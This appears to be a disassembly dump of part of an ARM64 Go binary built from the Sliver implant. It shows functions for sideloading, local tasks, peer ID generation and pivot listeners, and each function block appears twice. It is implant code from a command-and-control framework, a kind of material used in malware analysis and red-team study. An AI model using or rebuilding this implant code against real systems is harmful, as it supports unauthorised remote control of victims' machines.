0042a8c0ldr x1, [sp+832]
0042a8c4bl runtime.convTstring
0042a8c8str x0, [sp+336]
0042a8ccldr x1, [sp+344]
0042a8d0ldrsb x27, [x1]
0042a8d4adrp x2, 0x1cb000
0042a8d8add x2, x2, 2944
0042a8dcstr x2, [x1]
0042a8e0adrp x27, 0x621000
0042a8e4ldr w2, [x27+3056]
0042a8e8cbz w2, 0x42a8f0
0042a8ecb 0x42a8f4
0042a8f0
0042a8f0loc_42a8f0:
0042a8f0b 0x42a908
0042a8f4
0042a8f4loc_42a8f4:
0042a8f4bl runtime.gcWriteBarrier2
0042a8f8str x0, [x25]
0042a8fcldr x5, [x1+8]
0042a900str x5, [x25+8]
0042a904b 0x42a908
0042a908
0042a908loc_42a908:
0042a908str x0, [x1+8]
0042a90cldr x2, [sp+344]
0042a910ldrsb x27, [x2]
0042a914b 0x42a918
0042a918
0042a918loc_42a918:
0042a918str x2, [sp+352]
0042a91corr x4, xzr, 1
0042a920str x4, [sp+360]
0042a924str x4, [sp+368]
0042a928adrp x0, 0x28b000
0042a92cadd x0, x0, 1186
0042a930movz x1, 17
0042a934mov x3, x4
0042a938bl log.Printf
0042a93cldr x0, [sp+1024]
0042a940bl bytes.(*Buffer).String
0042a944str x0, [sp+824]
0042a948str x1, [sp+832]
0042a94cadd x27, sp, 840
0042a950stp xzr, xzr, [x27]
0042a954add x5, sp, 840
0042a958str x5, [sp+304]
0042a95cldr x0, [sp+824]
0042a960ldr x1, [sp+832]
0042a964bl runtime.convTstring
0042a968str x0, [sp+296]
0042a96cldr x5, [sp+304]
0042a970ldrsb x27, [x5]
0042a974adrp x6, 0x1cb000
0042a978add x6, x6, 2944
0042a97cstr x6, [x5]
0042a980adrp x27, 0x621000
0042a984ldr w6, [x27+3056]
0042a988cbz w6, 0x42a990
0042a98cb 0x42a994
0042a990
0042a990loc_42a990:
0042a990b 0x42a9a8
0042a994
0042a994loc_42a994:
0042a994bl runtime.gcWriteBarrier2
0042a998str x0, [x25]
0042a99cldr x6, [x5+8]
0042a9a0str x6, [x25+8]
0042a9a4b 0x42a9a8
0042a9a8
0042a9a8loc_42a9a8:
0042a9a8str x0, [x5+8]
0042a9acldr x2, [sp+304]
0042a9b0ldrsb x27, [x2]
0042a9b4b 0x42a9b8
0042a9b8
0042a9b8loc_42a9b8:
0042a9b8str x2, [sp+312]
0042a9bcorr x4, xzr, 1
0042a9c0str x4, [sp+320]
0042a9c4str x4, [sp+328]
0042a9c8adrp x0, 0x28b000
0042a9ccadd x0, x0, 1203
0042a9d0movz x1, 17
0042a9d4mov x3, x4
0042a9d8bl log.Printf
0042a9dcldr x0, [sp+1016]
0042a9e0bl bytes.(*Buffer).String
0042a9e4str x0, [sp+824]
0042a9e8str x1, [sp+832]
0042a9ecstr x0, [sp+160]
0042a9f0str x1, [sp+168]
0042a9f4stp xzr, xzr, [sp+144]
0042a9f8ldr x0, [sp+160]
0042a9fcldr x1, [sp+168]
0042aa00mov x2, xzr
0042aa04mov x3, xzr
0042aa08ldp x29, x30, [sp-8]
0042aa0cadd sp, sp, 1040
0042aa10ret x30
0042aa14
0042aa14loc_42aa14:
0042aa14stp x0, x1, [sp+8]
0042aa18stp x2, x3, [sp+24]
0042aa1cstr x4, [sp+40]
0042aa20str w5, [sp+48]
0042aa24stp x6, x7, [sp+56]
0042aa28stp x8, x9, [sp+72]
0042aa2cstp x10, x11, [sp+88]
0042aa30strb w12, [sp+104]
0042aa34mov x3, x30
0042aa38bl runtime.morestack_noctxt.abi0
0042aa3cldp x0, x1, [sp+8]
0042aa40ldp x2, x3, [sp+24]
0042aa44ldr x4, [sp+40]
0042aa48ldr w5, [sp+48]
0042aa4cldp x6, x7, [sp+56]
0042aa50ldp x8, x9, [sp+72]
0042aa54ldp x10, x11, [sp+88]
0042aa58ldrb w12, [sp+104]
0042aa5cb 0x429dc0
00429dc0
0042aa60
0042aa60github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload.gowrap1(void)
0042aa60ldr x16, [x28+16]
0042aa64subs xzr, sp, x16
0042aa68b.ls 0x42aaa4
0042aa6cstr x30, [sp-48]!
0042aa70stur x29, [sp-8]
0042aa74sub x29, sp, 8
0042aa78ldr x16, [x28+32]
0042aa7ccbnz x16, 0x42aab0
0042aa80
0042aa80loc_42aa80:
0042aa80ldr x2, [x26+8]
0042aa84str x2, [sp+32]
0042aa88ldr x1, [x26+16]
0042aa8cstr x1, [sp+24]
0042aa90ldr x0, [sp+32]
0042aa94bl github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait
0042aa98ldur x29, [sp-8]
0042aa9cldr x30, [sp], 48
0042aaa0ret x30
0042aaa4
0042aaa4loc_42aaa4:
0042aaa4mov x3, x30
0042aaa8bl runtime.morestack.abi0
0042aaacb 0x42aa60
0042aab0
0042aab0loc_42aab0:
0042aab0ldr x17, [x16]
0042aab4add x20, sp, 56
0042aab8subs xzr, x20, x17
0042aabcb.ne 0x42aa80
0042aac0add x20, sp, 8
0042aac4str x20, [x16]
0042aac8b 0x42aa80
0042aaccudf 0
0042aa60
0042aa60github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload.gowrap1(void)
0042aa60ldr x16, [x28+16]
0042aa64subs xzr, sp, x16
0042aa68b.ls 0x42aaa4
0042aa6cstr x30, [sp-48]!
0042aa70stur x29, [sp-8]
0042aa74sub x29, sp, 8
0042aa78ldr x16, [x28+32]
0042aa7ccbnz x16, 0x42aab0
0042aa80
0042aa80loc_42aa80:
0042aa80ldr x2, [x26+8]
0042aa84str x2, [sp+32]
0042aa88ldr x1, [x26+16]
0042aa8cstr x1, [sp+24]
0042aa90ldr x0, [sp+32]
0042aa94bl github.com/bishopfox/sliver/implant/sliver/taskrunner.startAndWait
0042aa98ldur x29, [sp-8]
0042aa9cldr x30, [sp], 48
0042aaa0ret x30
0042aaa4
0042aaa4loc_42aaa4:
0042aaa4mov x3, x30
0042aaa8bl runtime.morestack.abi0
0042aaacb 0x42aa60
0042aab0
0042aab0loc_42aab0:
0042aab0ldr x17, [x16]
0042aab4add x20, sp, 56
0042aab8subs xzr, x20, x17
0042aabcb.ne 0x42aa80
0042aac0add x20, sp, 8
0042aac4str x20, [x16]
0042aac8b 0x42aa80
0042aaccudf 0
0042aa60
0042aad0
0042aad0github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.func1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.func1(func() fPtr)
0042aad0ldr x16, [x28+16]
0042aad4subs xzr, sp, x16
0042aad8b.ls 0x42ab04
0042aadcstr x30, [sp-16]!
0042aae0stur x29, [sp-8]
0042aae4sub x29, sp, 8
0042aae8str x0, [sp+24]
0042aaecldr x1, [x0]
0042aaf0mov x26, x0
0042aaf4blr x1
0042aaf8ldur x29, [sp-8]
0042aafcldr x30, [sp], 16
0042ab00ret x30
0042ab04
0042ab04loc_42ab04:
0042ab04str x0, [sp+8]
0042ab08mov x3, x30
0042ab0cbl runtime.morestack_noctxt.abi0
0042ab10ldr x0, [sp+8]
0042ab14b 0x42aad0
0042ab18udf 0
0042ab1cudf 0
0042aad0
0042aad0github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.func1: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.LocalTask.func1(func() fPtr)
0042aad0ldr x16, [x28+16]
0042aad4subs xzr, sp, x16
0042aad8b.ls 0x42ab04
0042aadcstr x30, [sp-16]!
0042aae0stur x29, [sp-8]
0042aae4sub x29, sp, 8
0042aae8str x0, [sp+24]
0042aaecldr x1, [x0]
0042aaf0mov x26, x0
0042aaf4blr x1
0042aaf8ldur x29, [sp-8]
0042aafcldr x30, [sp], 16
0042ab00ret x30
0042ab04
0042ab04loc_42ab04:
0042ab04str x0, [sp+8]
0042ab08mov x3, x30
0042ab0cbl runtime.morestack_noctxt.abi0
0042ab10ldr x0, [sp+8]
0042ab14b 0x42aad0
0042ab18udf 0
0042ab1cudf 0
0042aad0
0042ab20
0042ab20github.com/bishopfox/sliver/implant/sliver/pivots.init: ; void github.com/bishopfox/sliver/implant/sliver/pivots.init(void)
0042ab20ldr x16, [x28+16]
0042ab24subs xzr, sp, x16
0042ab28b.ls 0x42ac80
0042ab2cstr x30, [sp-64]!
0042ab30stur x29, [sp-8]
0042ab34sub x29, sp, 8
0042ab38adrp x0, 0x28a000
0042ab3cadd x0, x0, 927
0042ab40orr x1, xzr, 15
0042ab44bl errors.New
0042ab48adrp x27, 0x5f7000
0042ab4cstr x0, [x27+1360]
0042ab50adrp x27, 0x621000
0042ab54ldr w2, [x27+3056]
0042ab58cbz w2, 0x42ab60
0042ab5cb 0x42ab64
0042ab60
0042ab60loc_42ab60:
0042ab60b 0x42ab7c
0042ab64
0042ab64loc_42ab64:
0042ab64bl runtime.gcWriteBarrier2
0042ab68str x1, [x25]
0042ab6cadrp x27, 0x5f7000
0042ab70ldr x2, [x27+1368]
0042ab74str x2, [x25+8]
0042ab78b 0x42ab7c
0042ab7c
0042ab7cloc_42ab7c:
0042ab7cadrp x27, 0x5f7000
0042ab80str x1, [x27+1368]
0042ab84adrp x0, 0x28c000
0042ab88add x0, x0, 510
0042ab8cmovz x1, 19
0042ab90bl errors.New
0042ab94adrp x27, 0x5f7000
0042ab98str x0, [x27+1376]
0042ab9cadrp x27, 0x621000
0042aba0ldr w2, [x27+3056]
0042aba4cbz w2, 0x42abac
0042aba8b 0x42abb0
0042abac
0042abacloc_42abac:
0042abacb 0x42abc8
0042abb0
0042abb0loc_42abb0:
0042abb0bl runtime.gcWriteBarrier2
0042abb4str x1, [x25]
0042abb8adrp x27, 0x5f7000
0042abbcldr x0, [x27+1384]
0042abc0str x0, [x25+8]
0042abc4b 0x42abc8
0042abc8
0042abc8loc_42abc8:
0042abc8adrp x27, 0x5f7000
0042abccstr x1, [x27+1384]
0042abd0bl github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID
0042abd4adrp x27, 0x621000
0042abd8str x0, [x27+2144]
0042abdcbl runtime.makemap_small
0042abe0str x0, [sp+48]
0042abe4adrp x0, 0x2ae000
0042abe8add x0, x0, 3152
0042abecstr x0, [sp+40]
0042abf0ldr x1, [sp+48]
0042abf4adrp x0, 0x1f9000
0042abf8add x0, x0, 3296
0042abfcmov x2, xzr
0042ac00bl runtime.mapassign_fast32
0042ac04str x0, [sp+32]
0042ac08ldrsb x27, [x0]
0042ac0cldr x1, [sp+40]
0042ac10adrp x27, 0x621000
0042ac14ldr w2, [x27+3056]
0042ac18cbz w2, 0x42ac20
0042ac1cb 0x42ac24
0042ac20
0042ac20loc_42ac20:
0042ac20b 0x42ac38
0042ac24
0042ac24loc_42ac24:
0042ac24bl runtime.gcWriteBarrier2
0042ac28str x1, [x25]
0042ac2cldr x2, [x0]
0042ac30str x2, [x25+8]
0042ac34b 0x42ac38
0042ac38
0042ac38loc_42ac38:
0042ac38str x1, [x0]
0042ac3cldr x0, [sp+48]
0042ac40adrp x27, 0x621000
0042ac44ldr w1, [x27+3056]
0042ac48cbz w1, 0x42ac50
0042ac4cb 0x42ac54
0042ac50
0042ac50loc_42ac50:
0042ac50b 0x42ac6c
0042ac54
0042ac54loc_42ac54:
0042ac54bl runtime.gcWriteBarrier2
0042ac58str x0, [x25]
0042ac5cadrp x27, 0x5f6000
0042ac60ldr x1, [x27+3208]
0042ac64str x1, [x25+8]
0042ac68b 0x42ac6c
0042ac6c
0042ac6cloc_42ac6c:
0042ac6cadrp x27, 0x5f6000
0042ac70str x0, [x27+3208]
0042ac74ldur x29, [sp-8]
0042ac78ldr x30, [sp], 64
0042ac7cret x30
0042ac80
0042ac80loc_42ac80:
0042ac80mov x3, x30
0042ac84bl runtime.morestack_noctxt.abi0
0042ac88b 0x42ab20
0042ac8cudf 0
0042ab20
0042ab20github.com/bishopfox/sliver/implant/sliver/pivots.init: ; void github.com/bishopfox/sliver/implant/sliver/pivots.init(void)
0042ab20ldr x16, [x28+16]
0042ab24subs xzr, sp, x16
0042ab28b.ls 0x42ac80
0042ab2cstr x30, [sp-64]!
0042ab30stur x29, [sp-8]
0042ab34sub x29, sp, 8
0042ab38adrp x0, 0x28a000
0042ab3cadd x0, x0, 927
0042ab40orr x1, xzr, 15
0042ab44bl errors.New
0042ab48adrp x27, 0x5f7000
0042ab4cstr x0, [x27+1360]
0042ab50adrp x27, 0x621000
0042ab54ldr w2, [x27+3056]
0042ab58cbz w2, 0x42ab60
0042ab5cb 0x42ab64
0042ab60
0042ab60loc_42ab60:
0042ab60b 0x42ab7c
0042ab64
0042ab64loc_42ab64:
0042ab64bl runtime.gcWriteBarrier2
0042ab68str x1, [x25]
0042ab6cadrp x27, 0x5f7000
0042ab70ldr x2, [x27+1368]
0042ab74str x2, [x25+8]
0042ab78b 0x42ab7c
0042ab7c
0042ab7cloc_42ab7c:
0042ab7cadrp x27, 0x5f7000
0042ab80str x1, [x27+1368]
0042ab84adrp x0, 0x28c000
0042ab88add x0, x0, 510
0042ab8cmovz x1, 19
0042ab90bl errors.New
0042ab94adrp x27, 0x5f7000
0042ab98str x0, [x27+1376]
0042ab9cadrp x27, 0x621000
0042aba0ldr w2, [x27+3056]
0042aba4cbz w2, 0x42abac
0042aba8b 0x42abb0
0042abac
0042abacloc_42abac:
0042abacb 0x42abc8
0042abb0
0042abb0loc_42abb0:
0042abb0bl runtime.gcWriteBarrier2
0042abb4str x1, [x25]
0042abb8adrp x27, 0x5f7000
0042abbcldr x0, [x27+1384]
0042abc0str x0, [x25+8]
0042abc4b 0x42abc8
0042abc8
0042abc8loc_42abc8:
0042abc8adrp x27, 0x5f7000
0042abccstr x1, [x27+1384]
0042abd0bl github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID
0042abd4adrp x27, 0x621000
0042abd8str x0, [x27+2144]
0042abdcbl runtime.makemap_small
0042abe0str x0, [sp+48]
0042abe4adrp x0, 0x2ae000
0042abe8add x0, x0, 3152
0042abecstr x0, [sp+40]
0042abf0ldr x1, [sp+48]
0042abf4adrp x0, 0x1f9000
0042abf8add x0, x0, 3296
0042abfcmov x2, xzr
0042ac00bl runtime.mapassign_fast32
0042ac04str x0, [sp+32]
0042ac08ldrsb x27, [x0]
0042ac0cldr x1, [sp+40]
0042ac10adrp x27, 0x621000
0042ac14ldr w2, [x27+3056]
0042ac18cbz w2, 0x42ac20
0042ac1cb 0x42ac24
0042ac20
0042ac20loc_42ac20:
0042ac20b 0x42ac38
0042ac24
0042ac24loc_42ac24:
0042ac24bl runtime.gcWriteBarrier2
0042ac28str x1, [x25]
0042ac2cldr x2, [x0]
0042ac30str x2, [x25+8]
0042ac34b 0x42ac38
0042ac38
0042ac38loc_42ac38:
0042ac38str x1, [x0]
0042ac3cldr x0, [sp+48]
0042ac40adrp x27, 0x621000
0042ac44ldr w1, [x27+3056]
0042ac48cbz w1, 0x42ac50
0042ac4cb 0x42ac54
0042ac50
0042ac50loc_42ac50:
0042ac50b 0x42ac6c
0042ac54
0042ac54loc_42ac54:
0042ac54bl runtime.gcWriteBarrier2
0042ac58str x0, [x25]
0042ac5cadrp x27, 0x5f6000
0042ac60ldr x1, [x27+3208]
0042ac64str x1, [x25+8]
0042ac68b 0x42ac6c
0042ac6c
0042ac6cloc_42ac6c:
0042ac6cadrp x27, 0x5f6000
0042ac70str x0, [x27+3208]
0042ac74ldur x29, [sp-8]
0042ac78ldr x30, [sp], 64
0042ac7cret x30
0042ac80
0042ac80loc_42ac80:
0042ac80mov x3, x30
0042ac84bl runtime.morestack_noctxt.abi0
0042ac88b 0x42ab20
0042ac8cudf 0
0042ab20
0042ac90
0042ac90github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID: ; void github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID(void)
0042ac90ldr x16, [x28+16]
0042ac94sub x17, sp, 64
0042ac98subs xzr, x17, x16
0042ac9cb.ls 0x42ad9c
0042aca0str x30, [sp-192]!
0042aca4stur x29, [sp-8]
0042aca8sub x29, sp, 8
0042acacstr xzr, [sp+40]
0042acb0adrp x0, 0x1cb000
0042acb4add x0, x0, 3072
0042acb8orr x1, xzr, 8
0042acbcmov x2, x1
0042acc0bl runtime.makeslice
0042acc4str x0, [sp+104]
0042acc8orr x3, xzr, 8
0042acccstr x3, [sp+112]
0042acd0str x3, [sp+120]
0042acd4stp xzr, xzr, [sp+152]
0042acd8ldr x0, [sp+104]
0042acdcldr x1, [sp+112]
0042ace0ldr x2, [sp+120]
0042ace4bl crypto/rand.Read
0042ace8str x0, [sp+64]
0042acecstr x1, [sp+152]
0042acf0str x2, [sp+160]
0042acf4ldr x3, [sp+64]
0042acf8str x3, [sp+72]
0042acfcstr x1, [sp+168]
0042ad00str x2, [sp+176]
0042ad04str x1, [sp+88]
0042ad08str x2, [sp+96]
0042ad0ccbnz x1, 0x42ad14
0042ad10b 0x42ad3c
0042ad14
0042ad14loc_42ad14:
0042ad14bl time.Now
0042ad18str x0, [sp+128]
0042ad1cstr x1, [sp+136]
0042ad20str x2, [sp+144]
0042ad24bl time.Time.UnixNano
0042ad28str x0, [sp+56]
0042ad2cstr x0, [sp+40]
0042ad30ldur x29, [sp-8]
0042ad34ldr x30, [sp], 192
0042ad38ret x30
0042ad3c
0042ad3cloc_42ad3c:
0042ad3cldr x0, [sp+104]
0042ad40ldr x1, [sp+112]
0042ad44ldr x2, [sp+120]
0042ad48bl encoding/binary.littleEndian.Uint64
0042ad4cstr x0, [sp+80]
0042ad50str x0, [sp+48]
0042ad54ldr x3, [sp+48]
0042ad58cbz x3, 0x42ad60
0042ad5cb 0x42ad88
0042ad60
0042ad60loc_42ad60:
0042ad60bl time.Now
0042ad64str x0, [sp+128]
0042ad68str x1, [sp+136]
0042ad6cstr x2, [sp+144]
0042ad70bl time.Time.UnixNano
0042ad74str x0, [sp+56]
0042ad78str x0, [sp+40]
0042ad7cldur x29, [sp-8]
0042ad80ldr x30, [sp], 192
0042ad84ret x30
0042ad88
0042ad88loc_42ad88:
0042ad88ldr x0, [sp+48]
0042ad8cstr x0, [sp+40]
0042ad90ldur x29, [sp-8]
0042ad94ldr x30, [sp], 192
0042ad98ret x30
0042ad9c
0042ad9cloc_42ad9c:
0042ad9cmov x3, x30
0042ada0bl runtime.morestack_noctxt.abi0
0042ada4b 0x42ac90
0042ada8udf 0
0042adacudf 0
0042ac90
0042ac90github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID: ; void github.com/bishopfox/sliver/implant/sliver/pivots.generatePeerID(void)
0042ac90ldr x16, [x28+16]
0042ac94sub x17, sp, 64
0042ac98subs xzr, x17, x16
0042ac9cb.ls 0x42ad9c
0042aca0str x30, [sp-192]!
0042aca4stur x29, [sp-8]
0042aca8sub x29, sp, 8
0042acacstr xzr, [sp+40]
0042acb0adrp x0, 0x1cb000
0042acb4add x0, x0, 3072
0042acb8orr x1, xzr, 8
0042acbcmov x2, x1
0042acc0bl runtime.makeslice
0042acc4str x0, [sp+104]
0042acc8orr x3, xzr, 8
0042acccstr x3, [sp+112]
0042acd0str x3, [sp+120]
0042acd4stp xzr, xzr, [sp+152]
0042acd8ldr x0, [sp+104]
0042acdcldr x1, [sp+112]
0042ace0ldr x2, [sp+120]
0042ace4bl crypto/rand.Read
0042ace8str x0, [sp+64]
0042acecstr x1, [sp+152]
0042acf0str x2, [sp+160]
0042acf4ldr x3, [sp+64]
0042acf8str x3, [sp+72]
0042acfcstr x1, [sp+168]
0042ad00str x2, [sp+176]
0042ad04str x1, [sp+88]
0042ad08str x2, [sp+96]
0042ad0ccbnz x1, 0x42ad14
0042ad10b 0x42ad3c
0042ad14
0042ad14loc_42ad14:
0042ad14bl time.Now
0042ad18str x0, [sp+128]
0042ad1cstr x1, [sp+136]
0042ad20str x2, [sp+144]
0042ad24bl time.Time.UnixNano
0042ad28str x0, [sp+56]
0042ad2cstr x0, [sp+40]
0042ad30ldur x29, [sp-8]
0042ad34ldr x30, [sp], 192
0042ad38ret x30
0042ad3c
0042ad3cloc_42ad3c:
0042ad3cldr x0, [sp+104]
0042ad40ldr x1, [sp+112]
0042ad44ldr x2, [sp+120]
0042ad48bl encoding/binary.littleEndian.Uint64
0042ad4cstr x0, [sp+80]
0042ad50str x0, [sp+48]
0042ad54ldr x3, [sp+48]
0042ad58cbz x3, 0x42ad60
0042ad5cb 0x42ad88
0042ad60
0042ad60loc_42ad60:
0042ad60bl time.Now
0042ad64str x0, [sp+128]
0042ad68str x1, [sp+136]
0042ad6cstr x2, [sp+144]
0042ad70bl time.Time.UnixNano
0042ad74str x0, [sp+56]
0042ad78str x0, [sp+40]
0042ad7cldur x29, [sp-8]
0042ad80ldr x30, [sp], 192
0042ad84ret x30
0042ad88
0042ad88loc_42ad88:
0042ad88ldr x0, [sp+48]
0042ad8cstr x0, [sp+40]
0042ad90ldur x29, [sp-8]
0042ad94ldr x30, [sp], 192
0042ad98ret x30
0042ad9c
0042ad9cloc_42ad9c:
0042ad9cmov x3, x30
0042ada0bl runtime.morestack_noctxt.abi0
0042ada4b 0x42ac90
0042ada8udf 0
0042adacudf 0
0042ac90
0042adb0
0042adb0github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners(void)
0042adb0ldr x16, [x28+16]
0042adb4sub x17, sp, 16
0042adb8subs xzr, x17, x16
0042adbcb.ls 0x42ae78
0042adc0str x30, [sp-144]!
0042adc4stur x29, [sp-8]
0042adc8sub x29, sp, 8
0042adccstr xzr, [sp+32]
0042add0stp xzr, xzr, [sp+40]
0042add4adrp x2, 0x621000
0042add8add x2, x2, 1504
0042addcstr x2, [sp+88]
0042ade0b 0x42ade4
0042ade4
0042ade4loc_42ade4:
0042ade4str x2, [sp+96]
0042ade8stp xzr, xzr, [sp+104]
0042adecstr x2, [sp+56]
0042adf0stp xzr, xzr, [sp+64]
0042adf4stp xzr, xzr, [sp+120]
0042adf8add x1, sp, 120
0042adfcstr x1, [sp+80]
0042ae00ldrsb x27, [x1]
0042ae04adrp x2, 0
0042ae08add x2, x2, 3728
0042ae0cstr x2, [x1]
0042ae10ldrsb x27, [x1]
0042ae14adrp x27, 0x621000
0042ae18ldr w2, [x27+3056]
0042ae1ccbz w2, 0x42ae24
0042ae20b 0x42ae28
0042ae24
0042ae24loc_42ae24:
0042ae24b 0x42ae40
0042ae28
0042ae28loc_42ae28:
0042ae28bl runtime.gcWriteBarrier2
0042ae2cadd x2, sp, 56
0042ae30str x2, [x25]
0042ae34ldr x3, [x1+8]
0042ae38str x3, [x25+8]
0042ae3cb 0x42ae40
0042ae40
0042ae40loc_42ae40:
0042ae40add x2, sp, 56
0042ae44str x2, [x1+8]
0042ae48adrp x27, 0x5e3000
0042ae4cldr x0, [x27+16]
0042ae50bl sync.(*Map).Range
0042ae54ldr x0, [sp+56]
0042ae58ldr x1, [sp+64]
0042ae5cldr x2, [sp+72]
0042ae60str x0, [sp+32]
0042ae64str x1, [sp+40]
0042ae68str x2, [sp+48]
0042ae6cldur x29, [sp-8]
0042ae70ldr x30, [sp], 144
0042ae74ret x30
0042ae78
0042ae78loc_42ae78:
0042ae78mov x3, x30
0042ae7cbl runtime.morestack_noctxt.abi0
0042ae80b 0x42adb0
0042ae84udf 0
0042ae88udf 0
0042ae8cudf 0
0042adb0
0042adb0github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners(void)
0042adb0ldr x16, [x28+16]
0042adb4sub x17, sp, 16
0042adb8subs xzr, x17, x16
0042adbcb.ls 0x42ae78
0042adc0str x30, [sp-144]!
0042adc4stur x29, [sp-8]
0042adc8sub x29, sp, 8
0042adccstr xzr, [sp+32]
0042add0stp xzr, xzr, [sp+40]
0042add4adrp x2, 0x621000
0042add8add x2, x2, 1504
0042addcstr x2, [sp+88]
0042ade0b 0x42ade4
0042ade4
0042ade4loc_42ade4:
0042ade4str x2, [sp+96]
0042ade8stp xzr, xzr, [sp+104]
0042adecstr x2, [sp+56]
0042adf0stp xzr, xzr, [sp+64]
0042adf4stp xzr, xzr, [sp+120]
0042adf8add x1, sp, 120
0042adfcstr x1, [sp+80]
0042ae00ldrsb x27, [x1]
0042ae04adrp x2, 0
0042ae08add x2, x2, 3728
0042ae0cstr x2, [x1]
0042ae10ldrsb x27, [x1]
0042ae14adrp x27, 0x621000
0042ae18ldr w2, [x27+3056]
0042ae1ccbz w2, 0x42ae24
0042ae20b 0x42ae28
0042ae24
0042ae24loc_42ae24:
0042ae24b 0x42ae40
0042ae28
0042ae28loc_42ae28:
0042ae28bl runtime.gcWriteBarrier2
0042ae2cadd x2, sp, 56
0042ae30str x2, [x25]
0042ae34ldr x3, [x1+8]
0042ae38str x3, [x25+8]
0042ae3cb 0x42ae40
0042ae40
0042ae40loc_42ae40:
0042ae40add x2, sp, 56
0042ae44str x2, [x1+8]
0042ae48adrp x27, 0x5e3000
0042ae4cldr x0, [x27+16]
0042ae50bl sync.(*Map).Range
0042ae54ldr x0, [sp+56]
0042ae58ldr x1, [sp+64]
0042ae5cldr x2, [sp+72]
0042ae60str x0, [sp+32]
0042ae64str x1, [sp+40]
0042ae68str x2, [sp+48]
0042ae6cldur x29, [sp-8]
0042ae70ldr x30, [sp], 144
0042ae74ret x30
0042ae78
0042ae78loc_42ae78:
0042ae78mov x3, x30
0042ae7cbl runtime.morestack_noctxt.abi0
0042ae80b 0x42adb0
0042ae84udf 0
0042ae88udf 0
0042ae8cudf 0
0042adb0
0042ae90
0042ae90github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners.func1(interface {} key, interface {} value)
0042ae90ldr x16, [x28+16]
0042ae94subs xzr, sp, x16
0042ae98b.ls 0x42afb8
0042ae9cstr x30, [sp-128]!
0042aea0stur x29, [sp-8]
0042aea4sub x29, sp, 8
0042aea8str x0, [sp+136]
0042aeacstr x1, [sp+144]
0042aeb0str x2, [sp+152]
0042aeb4str x3, [sp+160]
0042aeb8ldr x3, [x26+8]
0042aebcstr x3, [sp+112]
0042aec0strb wzr, [sp+95]
0042aec4ldr x0, [sp+152]
0042aec8ldr x3, [sp+160]
0042aeccadrp x1, 0x1fe000
0042aed0add x1, x1, 2528
0042aed4subs xzr, x0, x1
0042aed8b.eq 0x42aee0
0042aedcb 0x42afa8
0042aee0
0042aee0loc_42aee0:
0042aee0str x3, [sp+96]
0042aee4mov x0, x3
0042aee8bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf
0042aeecstr x0, [sp+104]
0042aef0ldr x1, [sp+112]
0042aef4ldr x2, [x1+16]
0042aef8ldr x0, [x1]
0042aefcldr x1, [x1+8]
0042af00add x1, x1, 1
0042af04subs xzr, x2, x1
0042af08b.hs 0x42af10
0042af0cb 0x42af14
0042af10
0042af10loc_42af10:
0042af10b 0x42af28
0042af14
0042af14loc_42af14:
0042af14orr x3, xzr, 1
0042af18adrp x4, 0x250000
0042af1cadd x4, x4, 1824
0042af20bl runtime.growslice
0042af24b 0x42af28
0042af28
0042af28loc_42af28:
0042af28sub x3, x1, 1
0042af2cldr x4, [sp+104]
0042af30adrp x27, 0x621000
0042af34ldr w5, [x27+3056]
0042af38cbz w5, 0x42af40
0042af3cb 0x42af44
0042af40
0042af40loc_42af40:
0042af40b 0x42af58
0042af44
0042af44loc_42af44:
0042af44bl runtime.gcWriteBarrier2
0042af48str x4, [x25]
0042af4cldr x5, [x0+3*x3]
0042af50str x5, [x25+8]
0042af54b 0x42af58
0042af58
0042af58loc_42af58:
0042af58str x4, [x0+3*x3]
0042af5cldr x3, [sp+112]
0042af60str x1, [x3+8]
0042af64str x2, [x3+16]
0042af68adrp x27, 0x621000
0042af6cldr w1, [x27+3056]
0042af70cbz w1, 0x42af78
0042af74b 0x42af7c
0042af78
0042af78loc_42af78:
0042af78b 0x42af90
0042af7c
0042af7cloc_42af7c:
0042af7cbl runtime.gcWriteBarrier2
0042af80str x0, [x25]
0042af84ldr x1, [x3]
0042af88str x1, [x25+8]
0042af8cb 0x42af90
0042af90
0042af90loc_42af90:
0042af90str x0, [x3]
0042af94orr x0, xzr, 1
0042af98strb w0, [sp+95]
0042af9cldur x29, [sp-8]
0042afa0ldr x30, [sp], 128
0042afa4ret x30
0042afa8
0042afa8loc_42afa8:
0042afa8adrp x2, 0x1e0000
0042afacadd x2, x2, 3520
0042afb0bl runtime.panicdottypeE
0042afb4hint
0042afb8
0042afb8loc_42afb8:
0042afb8stp x0, x1, [sp+8]
0042afbcstp x2, x3, [sp+24]
0042afc0mov x3, x30
0042afc4bl runtime.morestack.abi0
0042afc8ldp x0, x1, [sp+8]
0042afccldp x2, x3, [sp+24]
0042afd0b 0x42ae90
0042afd4udf 0
0042afd8udf 0
0042afdcudf 0
0042ae90
0042ae90github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.GetListeners.func1(interface {} key, interface {} value)
0042ae90ldr x16, [x28+16]
0042ae94subs xzr, sp, x16
0042ae98b.ls 0x42afb8
0042ae9cstr x30, [sp-128]!
0042aea0stur x29, [sp-8]
0042aea4sub x29, sp, 8
0042aea8str x0, [sp+136]
0042aeacstr x1, [sp+144]
0042aeb0str x2, [sp+152]
0042aeb4str x3, [sp+160]
0042aeb8ldr x3, [x26+8]
0042aebcstr x3, [sp+112]
0042aec0strb wzr, [sp+95]
0042aec4ldr x0, [sp+152]
0042aec8ldr x3, [sp+160]
0042aeccadrp x1, 0x1fe000
